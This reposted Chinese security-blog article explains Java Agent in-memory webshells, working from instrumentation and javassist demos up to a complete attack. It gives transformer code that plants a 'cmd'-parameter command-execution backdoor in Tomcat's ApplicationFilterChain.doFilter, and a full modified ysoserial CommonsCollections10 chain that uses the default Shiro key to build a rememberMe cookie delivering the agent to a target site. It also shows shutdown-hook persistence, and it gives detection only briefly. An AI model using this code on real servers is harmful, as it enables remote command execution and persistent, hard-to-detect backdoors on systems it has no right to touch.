声明:本公众号文章来自作者日常学习笔记或授权后的网络转载,切勿利用文章内的相关技术从事任何非法活动,因此产生的一切后果与文章作者和本公众号无关!
0x00 Java Agent
在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过 java.lang.instrument 实现的工具我们称之为 Java Agent ,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法
Agent 内存马的实现就是利用了这一特性使其动态修改特定类的特定方法,将我们的恶意方法添加进去
说白了 Java Agent 只是一个 Java 类而已,只不过普通的 Java 类是以 main 函数作为入口点的,Java Agent 的入口点则是 premain 和 agentmain
加载Agen有两种实现方式:
-
实现premain方法(JVM启动前加载)
-
实现agentmain方法(JVM启动后加载)
0x01 启动前加载
先来一个demo,它实现了premain方法
import java.lang.instrument.Instrumentation;
public class DemoTest {
public static void premain(String agentArgs, Instrumentation inst) throws Exception{
System.out.println(agentArgs);
for(int i=0;i<5;i++){
System.out.println("premain method is invoked!");
}
}
}
在定义一个清单文件agent.mf(必须要加一个换行)
Manifest-Version: 1.0
Premain-Class: DemoTest
使用javac编译完后,打jar包
jar cvfm agent.jar agent.mf DemoTest.class
再来一个正常的测试类
public class Hello {
public static void main(String[] args) {
System.out.println("Ohhhhhhhhh");
}
}
重复之前的操作
Manifest-Version: 1.0
Main-Class: Hello
打jar包
jar cvfm hello.jar hello.mf Hello.class
最后测试
java -javaagent:agent.jar=args -jar hello.jar
可以看到premain方法是在main方法之前执行的,这里的args就是agent的启动参数
实现premain方法后,除了获取args还可以进行别的操作,我们先来了解几个接口
Instrumentation接口
Instrumentation
提供了用来监测运行在JVM中的Java API,它有几个关键方法
-
addTransformer
/
removeTransformer
添加或删除ClassFileTransformer -
getAllLoadedClasses
获取所有JVM加载的类 -
redefineClasses
重新定义已经加载类的字节码 -
setNativeMethodPrefix
动态设置JNI
前缀,可以实现Hook native方法。 -
retransformClasses
重新加载已经被JVM加载过的类的字节码
ClassFileTransformer接口
ClassFileTransformer
是一个转换类文件的代理接口,我们可以在获取到Instrumentation
对象后通过addTransformer
方法添加自定义类文件转换器。
这个接口下的Transform方法可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以实现动态加载字节码的关键就是这个接口下的Transform方法
Demo
这里的需求就是在加载指定方法前先执行我们的代码,也就是做一个简单的Hook,先来一个被Hook的类
public class Hello
{
public static void main(String[] args) {
System.out.println("Hello Agent ~");
}
}
再来一个Agent类
import java.lang.instrument.Instrumentation;
public class DemoTest {
public static void premain(String agentArgs, Instrumentation inst) throws Exception{
System.out.println(agentArgs);
System.out.println("Hooking Class Hello...");
inst.addTransformer(new DefineTransformer(),true);
}
}
最后去实现它具体的Transform方法
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
import java.util.Scanner;
public class DefineTransformer implements ClassFileTransformer {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer){
className = className.replace("/",".");
System.out.println(className);
if (className.equals("Hello"))
{
System.out.println("Hooked Class Hello !!!");
System.out.print("> ");
Scanner scanner = new Scanner(System.in);
try {
Runtime.getRuntime().exec(scanner.next());
} catch (IOException e) {
e.printStackTrace();
}
}
return new byte[0];
}
}
别忘了加上之前的两个mf文件(清单文件)打个jar包
jar cvfm Agent.jar .agent.mf .DemoTest.class .DefineTransformer.class
jar cvfm Hello.jar .hello.mf .Hello.class
运行,成功Hook Hello类
0x02 javassist
在动态修改字节码实现agent型内存马之前,需要先了解一个包——javassist,这里只做简短介绍以及应用
简介
Javassist (JAVA programming ASSISTant) 是在 Java 中编辑字节码的类库;它使 Java 程序能够在运行时定义一个新类, 并在 JVM 加载时修改类文件。
我们常用到的动态特性主要是反射,在运行时查找对象属性、方法,修改作用域,通过方法名称调用方法等。在线的应用不会频繁使用反射,因为反射的性能开销较大。其实还有一种和反射一样强大的特性,但是开销却很低,它就是Javassit。
与其他类似的字节码编辑器不同, Javassist 提供了两个级别的 API: 源级别和字节码级别。如果用户使用源级 API, 他们可以编辑类文件, 而不知道 Java 字节码的规格。整个 API 只用 Java 语言的词汇来设计。您甚至可以以源文本的形式指定插入的字节码; Javassist 在运行中编译它。另一方面, 字节码级 API 允许用户直接编辑类文件作为其他编辑器。
ClassPool
ClassPool
是CtClass
对象的容器。CtClass
对象必须从该对象获得。如果get()
在此对象上调用,则它将搜索表示的各种源ClassPath
以查找类文件,然后创建一个CtClass
表示该类文件的对象。创建的对象将返回给调用者。
我们一般通过这种方式获取ClassPool对象
ClassPool.getDefault()
CtClass
它本质上也是一个Class对象,只不过需要从ClassPool中获取
CtClass cc = pool.get("Hello");
简单的Demo
我们用javassist写一个简单的demo,目的是实现一个接口
package ssist;
import javassist.*;
public class Demo01
{
public static void main(String[] args) throws Exception
{
// 获取ClassPool对象
ClassPool pool = new ClassPool(true);
// 插入类源路径
pool.insertClassPath(new LoaderClassPath(Demo01.class.getClassLoader()));
// 新增Class
CtClass ctClass = pool.makeClass("ssist.Test");
// 新增Interface
ctClass.addInterface(pool.get(Test.class.getName()));
// 要添加的方法的返回值类型
CtClass type = pool.get(void.class.getName());
// 方法名称
String name = "SayHello";
// 方法参数
CtClass[] parameters = new CtClass[]{pool.get(String.class.getName())};
// 方法体,$1是方法的第一个参数
String body = "{" +
"System.out.println("Hello " + $1);" +
"}";
// 实现方法
CtMethod ctMethod = new CtMethod(type, name, parameters, ctClass);
// 设置方法体
ctMethod.setBody(body);
//添加方法
ctClass.addMethod(ctMethod);
//调用
Test o = (Test) ctClass.toClass().newInstance();
o.SayHello("Erikten");
}
// 添加Test接口以便于Class的获取等一系列操作
public interface Test
{
public void SayHello(String str);
}
}
可以看到我们通过javassist实现了接口,并成功调用了它
javassist特殊符号
上边的demo中出现了一个$1,这其实代表的是方法的第一个参数,还有许多别的特殊符号
特殊符号 |
含义 |
$0, $1, $2 |
$this,第一个参数,第二个参数 |
$args |
方法的参数列表 |
$$ |
所有实参 |
|
|
|
返回结果的类型,用于强制类型转换 |
|
包装器类型,用于强制类型转换 |
|
返回值 |
0x03 启动后加载
启动后加载 agent 通过新的代理操作来实现:agentmain,使得可以在 main 函数运行后在执行指定代码,同时还有几个关键的类
VirtualMachine
VirtualMachine
可以来实现获取系统信息,内存dump、线程dump、类信息统计(例如JVM加载的类)。该类有几个关键方法
-
Attach:允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上
-
loadAgent:向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理
-
Detach:解除
Attach
VirtualMachineDescriptor
VirtualMachineDescriptor
是用于描述 Java 虚拟机的容器类。它封装了一个标识目标虚拟机的标识符,以及一个AttachProvider
在尝试连接到虚拟机时应该使用的引用。标识符依赖于实现,但通常是进程标识符(或 pid)环境,其中每个 Java 虚拟机在其自己的操作系统进程中运行。
VirtualMachineDescriptor
实例通常是通过调用VirtualMachine
.
list()
方法创建的。这将返回描述所有已安装 Java 虚拟机的完整描述符列表attach providers
。
通过 VirtualMachine 类的 attach(pid) 方法,可以 attach 到一个运行中的 java 进程上,之后便可以通过 loadAgent(agentJarPath) 来将agent 的 jar 包注入到对应的进程,然后对应的进程会调用agentmain方法。
简单的Demo
这里还是跟之前那个premain类似,功能就是在加载指定类的时候注入我们的agent
先来一个Agent类
import java.lang.instrument.Instrumentation;
public class AgentMain {
public static void agentmain(String agentArgs, Instrumentation ins) {
ins.addTransformer(new DefineTransformer(),true);
}
}
实现具体的Transform方法
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import java.util.Scanner;
public class DefineTransformer implements ClassFileTransformer {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
Scanner sc = new Scanner(System.in);
System.out.println("Injected Class AgentMainDemo Successfully !");
System.out.print("> ");
try {
InputStream is = Runtime.getRuntime().exec(sc.next()).getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(is));
String line;
StringBuilder sb = new StringBuilder();
while ((line = br.readLine()) != null)
{
sb.append(line).append("n");
}
System.out.println(sb);
} catch (IOException e) {
e.printStackTrace();
}
return classfileBuffer;
}
}
创建mf文件
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: AgentMain
最后来个trigger,这里有个坑,Windows不会自己去加载VirtualMachine,需要你手动将JDK目录/lib/tools.jar手动加载到项目资源中
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class AgentMainDemo {
public static void main(String[] args) throws Exception{
// 生成jar包的绝对路径
String path = "E:\CodeSource\Java\untitled\running\target\classes\AgentMain.jar";
// 列出已加载的jvm
List<VirtualMachineDescriptor> list = VirtualMachine.list();
// 遍历已加载的jvm
for (VirtualMachineDescriptor v:list){
// 打印jvm的 displayName 属性
System.out.println(v.displayName());
// 如果 displayName 为指定的类
if (v.displayName().contains("AgentMainDemo")){
// 打印pid
System.out.println("id >>> " + v.id());
// 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
VirtualMachine vm = VirtualMachine.attach(v.id());
// 将我们的 agent.jar 发送给虚拟机
vm.loadAgent(path);
// 解除链接
vm.detach();
}
}
}
}
来看一下运行效果,我们成功将agent注入到了AgentMainDemo类中
0x04 反序列化注入Agent内存马
这里主要用到org.apache.catalina.core.ApplicationFilterChain#doFilter,
其根本原因就是该方法有ServletRequest和ServletResponse两个参数,里面封装了请求的request和response。另外,internalDoFilter方法是自定义filter的入口,如果在这里拦截,那么filter既通用,又不影响正常业务。
现在知道原理后,就可以创建Agent.jar了
public class MyAgent {
public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static void agentmain(String args, Instrumentation inst) throws Exception {
inst.addTransformer(new MyTransformer(), true);
Class[] loadedClasses = inst.getAllLoadedClasses();
for (int i = 0; i < loadedClasses.length; ++i) {
Class clazz = loadedClasses[i];
if (clazz.getName().equals(ClassName)) {
try {
inst.retransformClasses(new Class[]{clazz});
} catch (Exception var9) {
var9.printStackTrace();
}
}
}
}
}
重写transform()
import javassist.*;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
public class MyTransformer implements ClassFileTransformer {
public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public byte[] transform(ClassLoader loader, String className, Class<?> aClass, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
className = className.replace('/', '.');
if (className.equals(ClassName)) {
ClassPool cp = ClassPool.getDefault();
if (aClass != null) {
ClassClassPath classPath = new ClassClassPath(aClass);
cp.insertClassPath(classPath);
}
CtClass cc;
try {
cc = cp.get(className);
CtMethod m = cc.getDeclaredMethod("doFilter");
m.insertBefore(" javax.servlet.ServletRequest req = request;n" +
" javax.servlet.ServletResponse res = response;" +
"String cmd = req.getParameter("cmd");n" +
"if (cmd != null) {n" +
"Process process = Runtime.getRuntime().exec(cmd);n" +
"java.io.BufferedReader bufferedReader = new java.io.BufferedReader(n" +
"new java.io.InputStreamReader(process.getInputStream()));n" +
"StringBuilder stringBuilder = new StringBuilder();n" +
"String line;n" +
"while ((line = bufferedReader.readLine()) != null) {n" +
"stringBuilder.append(line + '\n');n" +
"}n" +
"res.getOutputStream().write(stringBuilder.toString().getBytes());n" +
"res.getOutputStream().flush();n" +
"res.getOutputStream().close();n" +
"}");
byte[] byteCode = cc.toBytecode();
cc.detach();
return byteCode;
} catch (NotFoundException | IOException | CannotCompileException e) {
e.printStackTrace();
}
}
return new byte[0];
}
}
还是之前的操作,定义mf文件,生成jar,这里的反序列环境用Shiro,链子用Y4er师傅改造的CC10(依赖于ysoserial项目环境),我简单加了些注释
package ysoserial.payloads;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.Reflections;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.reflect.Field;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
// 依赖 commons-collections:commons-collections:3.2.1
// 依赖于 ysoserial javassist
public class CommonsCollections10 {
// 设置系统属性
static {
System.setProperty("jdk.xml.enableTemplatesImplDeserialization", "true");
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
}
public static Object createTemplatesImpl(String command) throws Exception {
// 判断系统变量 properXalan 是否存在
return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl(command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")) : createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl(String agentPath, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {
// 获取TemplatesImpl类
T templates = tplClass.newInstance();
// Javassist插桩
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
CtClass clazz = pool.get(StubTransletPayload.class.getName());
// 注入Agent
String cmd = String.format(
" try {n" +
"java.io.File toolsJar = new java.io.File(System.getProperty("java.home").replaceFirst("jre", "lib") + java.io.File.separator + "tools.jar");n" +
"java.net.URLClassLoader classLoader = (java.net.URLClassLoader) java.lang.ClassLoader.getSystemClassLoader();n" +
"java.lang.reflect.Method add = java.net.URLClassLoader.class.getDeclaredMethod("addURL", new java.lang.Class[]{java.net.URL.class});n" +
"add.setAccessible(true);n" +
" add.invoke(classLoader, new Object[]{toolsJar.toURI().toURL()});n" +
"Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");n" +
" Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");" +
"java.lang.reflect.Method list = MyVirtualMachine.getDeclaredMethod("list", null);n" +
" java.util.List/*<Object>*/ invoke = (java.util.List/*<Object>*/) list.invoke(null, null);" +
"for (int i = 0; i < invoke.size(); i++) {" +
"Object o = invoke.get(i);n" +
" java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod("displayName", null);n" +
" Object name = displayName.invoke(o, null);n" +
"if (name.toString().contains("org.apache.catalina.startup.Bootstrap")) {" +
" java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[]{MyVirtualMachineDescriptor});n" +
" Object machine = attach.invoke(MyVirtualMachine, new Object[]{o});n" +
" java.lang.reflect.Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod("loadAgent", new Class[]{String.class});n" +
" loadAgent.invoke(machine, new Object[]{"%s"});n" +
" java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach", null);n" +
" detach.invoke(machine, null);n" +
" break;n" +
"}" +
"}" +
"} catch (Exception e) {n" +
" e.printStackTrace();n" +
" }"
, agentPath.replaceAll("\\", "\\\\").replaceAll(""", "\""));
// 在makeclass时插入我们的代码
clazz.makeClassInitializer().insertAfter(cmd);
// 重命名时间
clazz.setName("ysoserial.Pwner" + System.nanoTime());
// 获取准备继承的类class
CtClass superC = pool.get(abstTranslet.getName());
// 继承
clazz.setSuperclass(superC);
// 转字节码
byte[] classBytes = clazz.toBytecode();
// TemplatesImpl的常规操作, 反射定义恶意字节码
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, classAsBytes(Foo.class)});
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
public static String classAsFile(Class<?> clazz) {
return classAsFile(clazz, true);
}
public static String classAsFile(Class<?> clazz, boolean suffix) {
String str;
if (clazz.getEnclosingClass() == null) {
str = clazz.getName().replace(".", "/");
} else {
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
}
if (suffix) {
str = str + ".class";
}
return str;
}
// class转byte[]
public static byte[] classAsBytes(Class<?> clazz) {
try {
byte[] buffer = new byte[1024];
String file = classAsFile(clazz);
InputStream in = CommonsBeanutils1.class.getClassLoader().getResourceAsStream(file);
if (in == null) {
throw new IOException("couldn't find '" + file + "'");
} else {
ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
}
} catch (IOException var6) {
throw new RuntimeException(var6);
}
}
public static void main(String[] args) throws Exception {
// Agent路径
String command = "E:\CodeSource\Java\MyAgent.jar";
// 下面的操作就是cc10
Object templates = createTemplatesImpl(command);
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException var17) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = null;
innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException var16) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = new Object[0];
array = (Object[]) ((Object[]) f2.get(innimpl));
Object node = array[0];
if (node == null) {
node = array[1];
}
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception var15) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// 序列化payload
byte[] bytes = Serializables.serializeToBytes(map);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
// AES加密
String rememberMe = EncryptUtil.shiroEncrypt(key, bytes);
System.out.println(rememberMe);
}
// 定义版本ID
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
public Foo() {
}
}
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
public StubTransletPayload() {
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
}
// 序列化
class Serializables {
public static byte[] serializeToBytes(final Object obj) throws Exception {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
objOut.flush();
objOut.close();
return out.toByteArray();
}
public static Object deserializeFromBytes(final byte[] serialized) throws Exception {
final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
final ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
public static void serializeToFile(String path, Object obj) throws Exception {
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法将obj对象写入object文件
os.writeObject(obj);
os.close();
}
public static Object serializeFromFile(String path) throws Exception {
FileInputStream fis = new FileInputStream(path);
ObjectInputStream ois = new ObjectInputStream(fis);
// 通过Object的readObject()恢复对象
Object obj = ois.readObject();
ois.close();
return obj;
}
}
// AES加密
class EncryptUtil {
private static final String ENCRY_ALGORITHM = "AES";
private static final String CIPHER_MODE = "AES/CBC/PKCS5Padding";
private static final byte[] IV = "aaaaaaaaaaaaaaaa".getBytes(); // 16字节IV
public EncryptUtil() {
}
public static byte[] encrypt(byte[] clearTextBytes, byte[] pwdBytes) {
try {
SecretKeySpec keySpec = new SecretKeySpec(pwdBytes, ENCRY_ALGORITHM);
Cipher cipher = Cipher.getInstance(CIPHER_MODE);
IvParameterSpec iv = new IvParameterSpec(IV);
cipher.init(1, keySpec, iv);
byte[] cipherTextBytes = cipher.doFinal(clearTextBytes);
return cipherTextBytes;
} catch (NoSuchPaddingException var6) {
var6.printStackTrace();
} catch (NoSuchAlgorithmException var7) {
var7.printStackTrace();
} catch (BadPaddingException var8) {
var8.printStackTrace();
} catch (IllegalBlockSizeException var9) {
var9.printStackTrace();
} catch (InvalidKeyException var10) {
var10.printStackTrace();
} catch (Exception var11) {
var11.printStackTrace();
}
return null;
}
public static String shiroEncrypt(String key, byte[] objectBytes) {
byte[] pwd = Base64.decode(key);
byte[] cipher = encrypt(objectBytes, pwd);
assert cipher != null;
byte[] output = new byte[pwd.length + cipher.length];
byte[] iv = IV;
System.arraycopy(iv, 0, output, 0, iv.length);
System.arraycopy(cipher, 0, output, pwd.length, cipher.length);
return Base64.encode(output);
}
}
运行即可获得Payload,发送给目标站点
在任意路径输入?cmd=commond即可
0x05 Agent内存马秽土转生
在jvm关闭时我们可以通过Runtime去设置钩子
Runtime.getRuntime().addShutdownHook()
那么我们便可以利用这个方法,在程序重启前再执行一次我们想执行的代码,据说下面代码来自rebeyond师傅Github项目memshell(我没找到)
public static void persist() {
try {
Thread t = new Thread() {
public void run() {
try {
writeFiles("inject.jar",Agent.injectFileBytes);
writeFiles("agent.jar",Agent.agentFileBytes);
startInject();
} catch (Exception e) {
}
}
};
t.setName("shutdown Thread");
Runtime.getRuntime().addShutdownHook(t);
} catch (Throwable t) {
}
}
思路就是在jvm关闭时向磁盘写入两个jar包,然后通过startInjection()运行injection.jar,现在代码也没了,我猜Injection.jar应该是一个监视程序,当目标再次启动web项目时,将agent注入进去
这就带来两个问题:
-
额外落地的两个jar包
-
持续运行的监视程序
我这里简单实现一下,当SpringBoot结束的时候,弹出计算器(主要是我不知道监视系统怎么实现)
来一个agent
import java.lang.instrument.Instrumentation;
public class FirstAgent {
public static void agentmain(String agentArgs, Instrumentation instrumentation) {
instrumentation.addTransformer(new FirstTransformer(), true);
}
}
实现具体的transform
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class FirstTransformer implements ClassFileTransformer {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
Runtime.getRuntime().addShutdownHook(new Thread(new Calc()));
return null;
}
}
计算器
import java.io.IOException;
public class Calc implements Runnable{
public void run() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
将这三个类打jar包,使用VirtualMachine注入SpringBoot的Application
package com.example.demo;
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class AgentMainDemo {
public static void main(String[] args) throws Exception{
String path = "E:\CodeSource\Java\untitled\Agent\target\classes\Agent.jar";
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor v:list){
System.out.println(v.displayName());
if (v.displayName().contains("com.example.demo.DemoApplication")){
System.out.println("id >>> " + v.id());
VirtualMachine vm = VirtualMachine.attach(v.id());
vm.loadAgent(path);
vm.detach();
}
}
}
}
看看最终效果
0x06 Agent内存马查杀
因为Agent内存马的精髓就在于动态修改已加载的字节码,所以现在很多项目都是dump出jvm当前已加载的类并进行字节码分析,比如以下几个关键类
类名 | 方法名 |
---|---|
javax/servlet/http/HttpServlet | service |
org/apache/catalina/core/ApplicationFilterChain | doFilter |
org/springframework/web/servlet/DispatcherServlet | doService |
org/apache/tomcat/websocket/server/WsFilter | doFilter |
在我之前的一篇文章分析过基于JSP的内存马,那个查杀起来就相对容易,但是,我找了几个几个项目,目前并没有一款开源的优秀卸载工具,还有一种思路是效仿冰蝎的“防检测”功能,因为这个功能的核心就是防止Agent再次注入,以达到防检测的功能,这样一来我们也可以用到防止内存马的注入上,可谓是一把双刃剑
核心代码,具体实现可以参考这篇文章https://xz.aliyun.com/t/10075
unsigned char buf[]="xc2x14x00"; //32,direct return enqueue function
HINSTANCE hModule = LoadLibrary(L"jvm.dll");
//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");
LPVOID dst=GetProcAddress(hModule,"_JVM_EnqueueOperation@20");
DWORD old;
if (VirtualProtectEx(GetCurrentProcess(),dst, 3, PAGE_EXECUTE_READWRITE, &old)){
WriteProcessMemory(GetCurrentProcess(), dst, buf, 3, NULL);
VirtualProtectEx(GetCurrentProcess(), dst, 3, old, &old);
}
/*unsigned char buf[]="xc3"; //64,direct return enqueue function
HINSTANCE hModule = LoadLibrary(L"jvm.dll");
//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");
LPVOID dst=GetProcAddress(hModule,"JVM_EnqueueOperation");
//printf("ConnectNamedPipe:%p",dst);
DWORD old;
if (VirtualProtectEx(GetCurrentProcess(),dst, 1, PAGE_EXECUTE_READWRITE, &old)){
WriteProcessMemory(GetCurrentProcess(), dst, buf, 1, NULL);
VirtualProtectEx(GetCurrentProcess(), dst, 1, old, &old);
}*/
0x07思考
还有师傅说注入Agent内存马目标站崩掉,原因可能是虚拟内存不足,总的来说感觉Agent内存马比Servlet、Listener、Filter等内存马更猛,同样需要落地文件,jar包的流量特征应该是比jsp隐蔽,如果防守方不够专业,完全可以采用内存马秽土转生做持久化,同时还有像冰蝎防检测这种机制,Agent内存马是真的猛,唯一的不足就是在注入jar包时可能导致网站崩掉,实战还是谨慎使用
原文始发于微信公众号(安全日记):浅谈基于Java Agent内存马的攻与防
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论